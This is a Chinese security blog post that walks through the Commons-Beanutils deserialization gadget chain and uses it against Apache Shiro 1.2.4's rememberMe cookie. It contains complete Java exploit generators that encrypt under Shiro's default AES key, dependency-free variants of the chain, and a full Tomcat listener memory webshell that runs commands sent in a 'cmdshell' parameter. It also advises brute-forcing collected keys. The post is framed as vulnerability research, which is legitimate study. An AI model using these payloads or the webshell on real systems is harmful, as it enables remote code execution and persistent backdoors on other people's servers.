0 前言
其實shiro的反序列化過程看過,原理也理解,就是沒空復現一遍,正好學習ysoserial序列化系列學習之一Commons-Beanutils,復現一下shiro無其它依賴的命令執行。
1 環境
jdk 1.8u40
commons-beanutils
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
javassist
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.21.0-GA</version>
</dependency>
shiro: https://github.com/phith0n/JavaThings/tree/master/shirodemo
shiro版本:1.2.4
2 commons-beanutils反序列化鏈
先上程式碼
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils {
// 修改值的方法,簡化程式碼
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void main(String[] args) throws Exception {
// 建立惡意類,用於報錯丟擲呼叫鏈
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
// payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 建立序列化物件
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
// 修改值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 反序列化
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(queue);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}
}
2.1 TemplatesImple呼叫鏈
這裡就不詳細展開了,前面的文章裡面有詳細的描述:https://www.cnblogs.com/bitterz/p/15263152.html#倒序分析
大致的呼叫鏈是:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
實際的操作是TemplatesImpl物件中的_bytecodes陣列中的位元組碼,會被遍歷並使用ClassLoader#defineClass載入到jvm中,而後返回一個類物件,並被呼叫無參構造方法,我們的payload在無參構造方法裡插入了惡意程式碼,從而實現RCE。
2.2 PriorityQueue呼叫鏈
執行前面的程式碼後,看到如下呼叫鏈:
at EvilClass.<clinit>(EvilClass.java)
...不重要,省略
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at java.lang.Class.newInstance(Class.java:442)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:387)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:439)
...不重要,省略
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1323)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:762)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:157)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
at java.util.PriorityQueue.readObject(PriorityQueue.java:795)
可見,位元組碼被反序列化時,PriorityQueue#readObject方法會被呼叫,程式碼如下
- PriorityQueue#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
其實沒有什麼特別的操作,跟進PriorityQueue#heapify即可
- PriorityQueue#heapify
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
此時i不重要,queue[i]=templates惡意物件,也沒有太多可以說的點,因為priorityQueue物件中只儲存了兩個templates物件,所以繼續跟進PriorityQueue#siftDown即可
- PriorityQueue#siftDown
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
此時x=templates惡意物件,這裡很明顯,由於priorityQueue物件建立時,我們傳入了對應的comparator物件,所以comparator != null,進入PriorityQueue#siftDownUsingComparator
- PriorityQueue#siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0) // 由於if語句中使用and時,最短判斷原則,當right>size時,不會執行這個compare
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0) // 這個compare方法一定會執行
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
此時x=templates惡意物件,到這裡,實際上PriorityQueue的呼叫鏈就清晰了,主要是從readObject會執行到comparator.compare()方法,由於我們給定了PriorityQueue的comparator這個成員變數為BeanComparator,所以需要跟進BeanComparator.compare方法
2.3 BeanComparator
直接看程式碼
- BeanComparator#compare
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
我們的程式碼中,反射修改了BeanComparator的property屬性為"outputProperties",即property="outputProperties",所以進入try程式碼塊,之前從PriorityQueue傳進來的變數o1=templates惡意物件,而PropertyUtils.getProperty方法也比較簡單,就是獲取指定的屬性,跟進一下
- PropertyUtils#getProperty
public static Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
注意此時bean=templates,name="outputProperties",需要跟進PropertyUtilsBean#getProperty方法
- PropertyUtilsBean#getProperty
public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return (getNestedProperty(bean, name));
}
此時bean=templates,name="outputProperties",繼續跟進
- PropertyUtilsBean#getNestedProperty
public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
if (bean == null) {
throw new IllegalArgumentException("No bean specified");
}
if (name == null) {
throw new IllegalArgumentException("No name specified for bean class '" +
bean.getClass() + "'");
}
// Resolve nested references
while (resolver.hasNested(name)) {
// 不關鍵程式碼
}
if (bean instanceof Map) {
bean = getPropertyOfMapBean((Map) bean, name);
} else if (resolver.isMapped(name)) {
bean = getMappedProperty(bean, name);
} else if (resolver.isIndexed(name)) {
bean = getIndexedProperty(bean, name);
} else {
bean = getSimpleProperty(bean, name);
}
return bean;
}
此時bean=templates,name="outputProperties",要過while迴圈,判斷語句中resolver是DefaultResolver類的例項,跟進其中的hasNested方法即可,比較簡單就不貼程式碼了,返回值為false,所以不進入while迴圈,直接進入下面if else程式碼塊,由於bean=templates所以if和else if判斷都是false,進入else程式碼塊,執行PropertyUtilsBean#getSimpleProperty
- PropertyUtilsBean#getSimpleProperty
public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
// 省略
// Handle DynaBean instances specially
if (bean instanceof DynaBean) {
// 省略
}
// Retrieve the property getter method for the specified property
PropertyDescriptor descriptor = getPropertyDescriptor(bean, name); // 關鍵點1和上方的註釋
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" +
name + "' on class '" + bean.getClass() + "'" );
}
Method readMethod = getReadMethod(bean.getClass(), descriptor); // 關鍵點2
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name +
"' has no getter method in class '" + bean.getClass() + "'");
}
// Call the property getter and return the value
Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); // 進入TemplatesImpl#getOutputProperties()呼叫鏈
return (value);
}
這個方法中有三個關鍵點,第一個是呼叫getPropertyDescriptor方法獲取屬性的getter方法,從上面的英文註釋就可以看到,當然具體程式碼也可以看到methodName="get"+name的操作。然後後getReadMethod方法獲取TemplatesImpl#getOutputProperties這個method物件,然後進入invokeMethod方法,執行TemplatesImpl#getOutputProperties呼叫鏈,觸發惡意程式碼。
3 Shiro無依賴paylaod
前面的commons-beanutils反序列化鏈看起來似乎只依賴了一個Commons-Beanutils依賴,但實際上開啟org.apache.commons.beanutils.BeanComparator
的原始碼,看到裡面存在:import org.apache.commons.collections.comparators.ComparableComparator;
,而ComparableComparator來自於commons-collections。
這些依賴會導致一個問題,shiro必須使用Commons-Beanutils這個依賴,但不需要Commons-Collections,因為shiro只需要用到Commons-Beanutils中的一些類,不涉及Commons-Collections,因此前面的利用鏈會直接失效,我們需要對BeanComparator
中的comparator屬性修改為jdk自帶的類,從而避免依賴問題。
shiro的反序列化漏洞原理就不詳細展開了(其實也就是獲取rememberMe欄位的值,然後base64解碼,再aes解碼,然後執行readObject反序列化),網上資料很多,我這裡使用的環境來自於shirodemo,匯入idea後,然後啟動專案,在login.jsp頁面勾選rememberMe,使用burp抓包,在cookie裡面新增"rememberMe=payload;" ,注意分號;
獲取payload的程式碼如下
package com.bitterz.stream;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutilsShiro {
// 反射修改field,統一寫成函式,方便閱讀程式碼
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
// 獲取攻擊鏈序列化後的byte陣列
public static byte[] getPayload() throws Exception {
// 建立惡意類,用於報錯丟擲呼叫鏈
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// 看shiro呼叫鏈用這個
// payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 建立序列化物件
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
// 修改值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 反序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(queue);
out.close();
return byteArrayOutputStream.toByteArray();
}
public static void main(String[] args) throws Exception {
byte[] payloads = CommonsBeanutilsShiro.getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 為shiro 1.2.4預設金鑰,詳情見AbstractRememberMeManager類的DEFAULT_CIPHER_KEY_BYTES屬性
ByteSource ciphertext = aes.encrypt(payloads, key);
// 由於繼承關係,encrypt實際呼叫的是JcaCipherService#encrypt
// 跟進程式碼後發現實際返回的是ByteSource介面的實現類——SimpleByteSource類,其toString方法會自動對byte陣列進行base64編碼
System.out.printf(ciphertext.toString());
}
}
執行程式碼,獲取shiro反序列化攻擊的payload,如前面說的一樣,加入到cookie中,傳送payload
成功彈出計算器,但是我們修改pom.xml,註釋掉commons-collections的依賴,然後重啟專案,就會發現之前的payload會報錯:
Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
這裡也就很明顯觸發了前面提到的問題,shiro一定依賴與commons-beanutils,但Web應用不一定依賴commons-collections,那麼我們應該如何修正呢?
首先是BeanComparator的幾個構造方法:
- BeanComparator的構造方法
public class BeanComparator implements Comparator, Serializable {
private String property;
private Comparator comparator;
public BeanComparator() { // 構造方法1
this( null );
}
public BeanComparator( String property ) { // 構造方法2
this( property, ComparableComparator.getInstance() );
}
public BeanComparator( String property, Comparator comparator ) { // 構造方法3
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
}
可以看到,想要不使用ComparableComparator這個類,必須在構造方法3處給入comparator引數,由於comparator必須存在,但具體什麼型別並不影響後面的呼叫鏈,所以給進去的這個類要滿足三個條件即可:
- 實現
java.util.Comparator
介面 - 實現
java.io.Serializable
介面 - Java、shiro或commons-beanutils自帶,且相容性強
這裡直接用一下大佬給出的兩個類:
- String.CASE_INSENSITIVE_ORDER獲取執行環境中的CaseInsensitiveComparator類
- java.util.Collections$ReverseComparator
CaseInsensitiveComparator
利用這兩個類,對前面的程式碼稍加修改
package com.bitterz.stream;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;
public class CommonsBeanutilsShiro {
// 反射修改field,統一寫成函式,方便閱讀程式碼
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
// 獲取攻擊鏈序列化後的byte陣列
public static byte[] getPayload() throws Exception {
// 建立惡意類,用於報錯丟擲呼叫鏈
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// 看shiro呼叫鏈用這個
// payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 建立序列化物件
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); // **修改點1**
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add("1"); // **修改點2**
queue.add("1");
// 修改值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 反序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(queue);
out.close();
return byteArrayOutputStream.toByteArray();
}
public static void main(String[] args) throws Exception {
byte[] payloads = CommonsBeanutilsShiro.getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 為shiro 1.2.4預設金鑰,詳情見AbstractRememberMeManager類的DEFAULT_CIPHER_KEY_BYTES屬性
ByteSource ciphertext = aes.encrypt(payloads, key);
// 由於繼承關係,encrypt實際呼叫的是JcaCipherService#encrypt
// 跟進程式碼後發現實際返回的是ByteSource介面的實現類——SimpleByteSource類,其toString方法會自動對byte陣列進行base64編碼
System.out.printf(ciphertext.toString());
}
}
修改後,在無commons-collections的情況下再來一次
成功彈出計算器!如果想看shiro反序列化利用鏈的完整呼叫棧,可以把程式碼中的惡意程式碼改一下,上面的程式碼中已經給出了,操作一下就出來了。
java.util.Collections$ReverseComparator
先看看這個類相關的原始碼
package java.util;
public class Collections{
public static <T> Comparator<T> reverseOrder() { // 直接呼叫這裡
return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
}
private static class ReverseComparator implements Comparator<Comparable<Object>>, Serializable {
static final ReverseComparator REVERSE_ORDER = new ReverseComparator();
}
}
可以看到直接呼叫Collections#reverseOrder方法即可獲得該類物件,因此對前面的payload稍加更改即可實現無依賴的shiro反序列化
//修改CommonsBeanutilsShiro類程式碼
BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder()); // 修改一下這裡就可以
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
修改之後再打一次,成功彈計算器
4 總結
4.1 shiro反序列化的注意事項
由於shiro反序列化需要用到AES加密,而該加密方法的金鑰是加解密一致的,所以我們使用shiro反序列化時,AES加密的金鑰必須跟伺服器一致,所以經常需要盲猜伺服器的金鑰,好在java開發們一般都不會去修改它,而且常常直接copy論壇和github上的程式碼,所以可以大量收集各種金鑰,然後遍歷來完成反序列化漏洞利用。
好在也有很多可以直接上手用的掃描或利用工具,例如xray、https://github.com/feihong-cs/ShiroExploit-Deprecated、https://github.com/sv3nbeast/ShiroScan、https://github.com/j1anFen/shiro_attack
4.2 shiro反序列化利用--注入記憶體馬
由於shiro作用於中介軟體的filter環節,所以servlet記憶體馬在訪問階段就被shiro幹掉了,不能用。因此必須寫入filter記憶體馬,並將其放在shiro的filter前面,以便訪問和利用;另外,也可以寫入listener記憶體馬,不需要操心filter順序問題,但可能會影響伺服器效能。
這裡以listener記憶體馬實驗一下,首先是listener記憶體馬部分,編譯的話,需要新增tomcat/lib目錄下的jar包
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
public class Add extends AbstractTranslet implements ServletRequestListener {
String uri;
String serverName;
StandardContext standardContext;
String pwd = "cmdshell"; // 記憶體馬的密碼
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
}
public Add(String aaa){}
public Add() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null){
this.serverName = serverNameMB.toString();
}
if (this.serverName == null){
this.serverName = serverNameMB.getString();
}
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null){
this.uri = uriMB.toString();
}
if (this.uri == null){
this.uri = uriMB.getString();
}
this.getStandardContext();
}
}
if (this.standardContext != null){
try {
Add addListener = new Add("aaa");
standardContext.addApplicationEventListener(addListener);
}catch (Exception e){e.printStackTrace();}
}
}
public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
}catch (Exception e){}
if (jioEndPoint == null){
try{
jioEndPoint = getField(target, "endpoint");
}catch (Exception e){ return; }
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
}catch (Exception e){}
if (engine == null){
engine = (StandardEngine) getField(service, "engine");
}
children = (HashMap) getField(engine, "children");
StandardHost standardHost;
standardHost = (StandardHost) children.get(this.serverName);
if(standardHost == null){
Iterator iterator = children.values().iterator();
while (iterator.hasNext()){
standardHost = (StandardHost) iterator.next();
if (standardHost.getName().equals(this.serverName)){
break;
}
if (standardHost.getName().equals("localhost")) {
break;
}
}
}
try{
children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
}
}catch (Exception e){
e.printStackTrace();
}
}
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public void Add(String aaa){}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmdshell = sre.getServletRequest().getParameter(this.pwd);
if (cmdshell != null) {
try {
Runtime.getRuntime().exec(cmdshell);
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
然後是構造shiro反序列化利用payload的部分
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import net.dongliu.commons.Sys;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;
public class CommonsBeanutilsShiro {
// 反射修改field,統一寫成函式,方便閱讀程式碼
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
// 獲取攻擊鏈序列化後的byte陣列
public static byte[] getPayload() throws Exception {
// 建立惡意類,用於報錯丟擲呼叫鏈
ClassPool pool = new ClassPool(true);
pool.appendClassPath("C:\\Users\\helloworld\\Desktop\\java learn\\spring_mvc\\spring_mvc\\spring_mvc\\target\\classes\\"); // 前面Add類編譯出來的Add.class的路徑
CtClass payload = pool.get("Add");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 建立序列化物件
// BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add("1");
queue.add("1");
// 修改值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 反序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out1 = new ObjectOutputStream(byteArrayOutputStream);
out1.writeObject(queue);
out1.close();
return byteArrayOutputStream.toByteArray();
}
public static void main(String[] args) throws Exception {
byte[] payloads = CommonsBeanutilsShiro.getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 為shiro 1.2.4預設金鑰,詳情見AbstractRememberMeManager類的DEFAULT_CIPHER_KEY_BYTES屬性
ByteSource ciphertext = aes.encrypt(payloads, key);
// 由於繼承關係,encrypt實際呼叫的是JcaCipherService#encrypt
// 跟進程式碼後發現實際返回的是ByteSource介面的實現類——SimpleByteSource類,其toString方法會自動對byte陣列進行base64編碼
System.out.printf(ciphertext.toString());
}
}
執行CommonsBeanutilsShiro#main方法,獲得payload,用burp發包,這裡都比較簡單就不截圖了,來看看效果:
在/shirodemo/這個uri下,輸入任意路徑,加引數cmdshell,即可執行命令,由於shiro的作用,執行後又會自動跳到登入頁面